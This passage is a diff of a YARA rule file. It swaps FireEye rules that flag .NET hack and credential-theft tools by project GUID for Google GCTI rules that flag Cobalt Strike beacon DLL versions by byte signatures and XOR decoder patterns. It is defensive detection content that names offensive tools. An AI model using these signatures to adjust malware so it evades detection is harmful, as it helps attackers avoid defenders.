+		$version_sig = { 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_INVEIGHZERO_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_V4_7_Suspected
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project."
-		author = "FireEye"
-		id = "f46fe365-ea50-5597-828e-61a7225e4c6e"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/INVEIGHZERO/production/yara/HackTool_MSIL_INVEIGHZERO_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "5d10557a83dae9508469fe87f4c0c91beec4d2812856eee461a82d5dbb89aa35"
+		description = "Cobalt Strike's sleeve/beacon.dll Versions 4.7 (suspected, not confirmed)"
+		author = "gssincla@google.com"
+		id = "4b6f90dd-69f3-5555-9195-6a0aed0fff58"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L969-L1002"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "da9e91b3d8df3d53425dd298778782be3bdcda40037bd5c92928395153160549"
+		logic_hash = "297ff7c3acfe6f9676dc6c265c548f017f39ccc5217617344e3bccc704ac4c78"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide
+		$version_sig = { 53 56 48 57 8B F2 83 F8 67 0F 87 5E 03 00 00  }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_Credtheft_MSIL_Wcmdump_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_2
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project."
-		author = "FireEye"
-		id = "22796ccb-a01e-59d8-8c3a-6cbb62899940"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_WCMDump_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "9fbf53e551342695b306b10f30a3fe32dff359bd70e84e1fa1f190772f5dcbe3"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.2"
+		author = "gssincla@google.com"
+		id = "61188243-0b90-5bff-bcc8-50f10ed941f6"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1029-L1068"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "5993a027f301f37f3236551e6ded520e96872723a91042bfc54775dcb34c94a1"
+		logic_hash = "3803aaac537aec0b188870177e510a3789a71c19be576569b59aa146b2ba62c5"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide
+		$version_sig = { 4C 8D 05 9F F8 FF FF 8B D3 48 8B CF E8 05 1A 00 00
+                     EB 0A 8B D3 48 8B CF E8 41 21 00 00 48 8B 5C 24 30
+                     48 83 C4 20 }
+		$decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNATIVEZIPPER_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_3
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project."
-		author = "FireEye"
-		id = "c48835a7-06fe-5b30-be4d-086d98dc7a21"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNATIVEZIPPER_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "fa54375b21abbb613e695f70a15233575fbe6e0536716544bb3b527f5e3ed8c6"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.3"
+		author = "gssincla@google.com"
+		id = "fb96ecff-809e-5704-974e-a2d8ef022daa"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1070-L1109"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "7b00721efeff6ed94ab108477d57b03022692e288cc5814feb5e9d83e3788580"
+		logic_hash = "514d491b8066ed7127ebb152a27efbe65e1121da3b5460afe6987920a91f2863"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide
+		$version_sig = { 8B D3 48 8B CF E8 89 66 00 00 E9 23 FB FF FF
+                     41 B8 01 00 00 00 E9 F3 FD FF FF 48 8D 0D 2A F8 FF FF
+                     E8 8D 2B 00 00 48 8B 5C 24 30 48 83 C4 20 }
+		$decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_PRAT_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_4
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'prat' project."
-		author = "FireEye"
-		id = "4a876eb0-ed2f-5ef2-a9b3-ba728b07c8c0"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_PRAT_1.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "d707f017b56b0a873f1edca085ad40fc70cb24e8c9844f377bc28871a941d0b4"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.4"
+		author = "gssincla@google.com"
+		id = "97ef152c-86c7-513c-a881-e7d594d38dcf"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1111-L1148"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "5a4d48c2eda8cda79dc130f8306699c8203e026533ce5691bf90363473733bf0"
+		logic_hash = "65aa42265133038f6f568c021c0228440e84e236829af50796a73f6923f46395"
 		score = 75
-		quality = 67
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "7d1219fb-a954-49a7-96c9-df9e6429a8c7" ascii nocase wide
-		$typelibguid1 = "bc1157c2-aa6d-46f8-8d73-068fc08a6706" ascii nocase wide
-		$typelibguid2 = "c602fae2-b831-41e2-b5f8-d4df6e3255df" ascii nocase wide
-		$typelibguid3 = "dfaa0b7d-6184-4a9a-9eeb-c08622d15801" ascii nocase wide
+		$version_sig = { 8B D3 48 8B CF E8 56 6F 00 00 E9 17 FB FF FF
+                     41 B8 01 00 00 00 8B D3 48 8B CF E8 41 4D 00 00
+                     48 8B 5C 24 30 48 83 C4 20 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNFS_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_5_Hf1_And_V3_5_1
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project."
-		author = "FireEye"
-		id = "b9d1b4e8-644a-5611-85e8-a124f915b443"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNFS_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "e7f9883376b153849970599d9ecc308882eb86a67834cfd8ab06b44539346125"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.5-hf1 and 3.5.1"
+		author = "gssincla@google.com"
+		id = "0c0e87d3-e0e2-5ddc-9d89-5e56443da4b8"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1150-L1189"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "934134ab0ee65ec76ae98a9bb9ad0e9571d80f4bf1eb3491d58bacf06d42dc8d"
+		logic_hash = "5cd69554edb91956f4ec4c3c5e55f4cd9c3665656c318220ba3a270c0bb0a690"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide
+		$version_sig = { 8B D3 48 8B CF E8 38 70 00 00 E9 FD FA FF FF
+                     41 B8 01 00 00 00 8B D3 48 8B CF E8 3F 4D 00 00
+                     48 8B 5C 24 30 48 83 C4 20 5F }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDACL_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_6
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project."
-		author = "FireEye"
-		id = "13f4e3ea-1e36-5fad-9197-66511d6f026a"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDACL_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "5f44ec5ddded18fb3a9132b469b2fe7ccbffb3f907325485f0f72fe3d6bbfa23"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.6"
+		author = "gssincla@google.com"
+		id = "9651a1ca-d8ea-5b0b-bcba-a850c2e07791"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1191-L1233"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "92b0a4aec6a493bcb1b72ce04dd477fd1af5effa0b88a9d8283f26266bb019a1"
+		logic_hash = "d6aff186a01386992f004cb775d280f9b6e7e16d7ecee662d61e3485b0bc088b"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide
+		$version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 27
+                     0F 87 47 03 00 00 0F 84 30 03 00 00 83 F9 14
+                     0F 87 A4 01 00 00 0F 84 7A 01 00 00 83 F9 0C
+                     0F 87 C8 00 00 00 0F 84 B3 00 00 00 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		filesize <10MB and ( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPGOPHER_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_7
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project."
-		author = "FireEye"
-		id = "cc8eb9cd-9a51-5fab-b0a4-247baaa69dd7"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPGOPHER_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "ac37f77440cb76d7dafa4c9b4130471ca6ca760f6d72691db9ebb8cbaaad0c58"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.7"
+		author = "gssincla@google.com"
+		id = "27fad98a-2882-5c52-af6e-c7dcf5559624"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1235-L1274"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "81296a65a24c0f6f22208b0d29e7bb803569746ce562e2fa0d623183a8bcca60"
+		logic_hash = "89499e01acd607b2fbcdd134c74ca4a901c00c7c9cf70dd241cc538c1c0d083a"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide
+		$version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 28
+                     0F 87 7F 03 00 00 0F 84 67 03 00 00 83 F9 15
+                     0F 87 DB 01 00 00 0F 84 BF 01 00 00 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPWEBCRAWLER_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_8
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project."
-		author = "FireEye"
-		id = "29b2a410-bcc4-58df-b192-7a413b3db1c0"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPWEBCRAWLER_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "8df328663a813ca0a6864ae0503cbc1b03cfdf839215b9b4f2bb7962adf09bf8"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.8"
+		author = "gssincla@google.com"
+		id = "89809d81-9a8b-5cf3-a251-689bf52e98e0"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1276-L1310"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "547d44669dba97a32cb9e95cfb8d3cd278e00599e6a11080df1a9d09226f33ae"
+		logic_hash = "8845b71ce4401fd194eb88f04dbf1f313af8b4853da004e63261ca3158fcb1d4"
+		score = 75
+		quality = 85
+		tags = ""
+
+	strings:
+		$version_sig = { 8B D3 48 8B CF E8 7A 52 00 00 EB 0D 45 33 C0 8B D3 48 8B CF
+                     E8 8F 55 00 00 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+
+	condition:
+		all of them
+}
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_11
+{
+	meta:
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.11 (two subversions)"
+		author = "gssincla@google.com"
+		id = "bf0c7661-2583-5fca-beb5-abb2b50c860d"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1312-L1366"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "64007e104dddb6b5d5153399d850f1e1f1720d222bed19a26d0b1c500a675b1a"
+		logic_hash = "9c34b23b659463a0ab92949031a9b3246aa95256d1548b2f0ad53fe3d379997d"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
+		rs2 = "815f313e0835e7fdf4a6d93f2774cf642012fd21ce870c48ff489555012e0047"
 
 	strings:
-		$typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide
+		$version_sig = { 48 83 EC 20 41 8B D8 48 8B FA 83 F9 2D 0F 87 B2 03 00 00
+                     0F 84 90 03 00 00 83 F9 17 0F 87 F8 01 00 00
+                     0F 84 DC 01 00 00 83 F9 0E 0F 87 F9 00 00 00
+                     0F 84 DD 00 00 00 FF C9 0F 84 C0 00 00 00 83 E9 02
+                     0F 84 A6 00 00 00 FF C9 }
+		$decoder = {
+      80 34 28 ??
+      48 FF C0
+      48 3D 00 10 00 00
+      7C F1
+    }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSQLCLIENT_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_12
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project."
-		author = "FireEye"
-		id = "4d526c36-f56f-53cf-9bdf-b7a15619eb41"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPSQLCLIENT_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "bc79f80582f4fadecf54d926abdcf61694224654ba5075203f0d1123cf11afc1"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.12"
+		author = "gssincla@google.com"
+		id = "6eeae9f4-96e0-5a98-a8dc-779c916cd968"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1368-L1404"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "8a28b7a7e32ace2c52c582d0076939d4f10f41f4e5fa82551e7cc8bdbcd77ebc"
+		logic_hash = "7457b20f2a7dc7e8c3317cedbcfccae30ecc8dc164188c0321f9485fdfab0f6e"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide
+		$version_sig = { 8B D3 48 8B CF E8 F8 2E 00 00 EB 16 8B D3 48 8B CF
+                     E8 00 5C 00 00 EB 0A 8B D3 48 8B CF E8 64 4F 00 00 }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_MODIFIEDSHARPVIEW_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_13
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project."
-		author = "FireEye"
-		id = "e07d3d4b-fba3-5df7-85f4-927bb8cec2d1"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "db0eaad52465d5a2b86fdd6a6aa869a5"
-		logic_hash = "a47c48da998243fab92665649fb9d6ecc6ac32e1fd884c2c0d5ccecb05290c10"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.13"
+		author = "gssincla@google.com"
+		id = "202eb8ea-7afb-515b-9306-67514abf5e55"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1407-L1440"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "945e10dcd57ba23763481981c6035e0d0427f1d3ba71e75decd94b93f050538e"
+		logic_hash = "81571a6c30802430d0df9980e005736d58464bde98c0889b48bf8d0c7e88d247"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide
+		$version_sig = { 48 8D 0D 01 5B FF FF 48 83 C4 28 E9 A8 54 FF FF 8B D0
+                     49 8B CA E8 22 55 FF FF }
+		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_REDTEAMMATERIALS_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_14
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project."
-		author = "FireEye"
-		id = "272cd3e9-884a-566b-ae90-4a79ee726a8d"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_REDTEAMMATERIALS_1.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "ca54a1e8335c4256295fc643f5d31eae2e89f020dc7a9b571c4772edaad08022"
+		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.14"
+		author = "gssincla@google.com"
+		id = "d69171e3-86f4-5187-8874-5eee2045f746"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
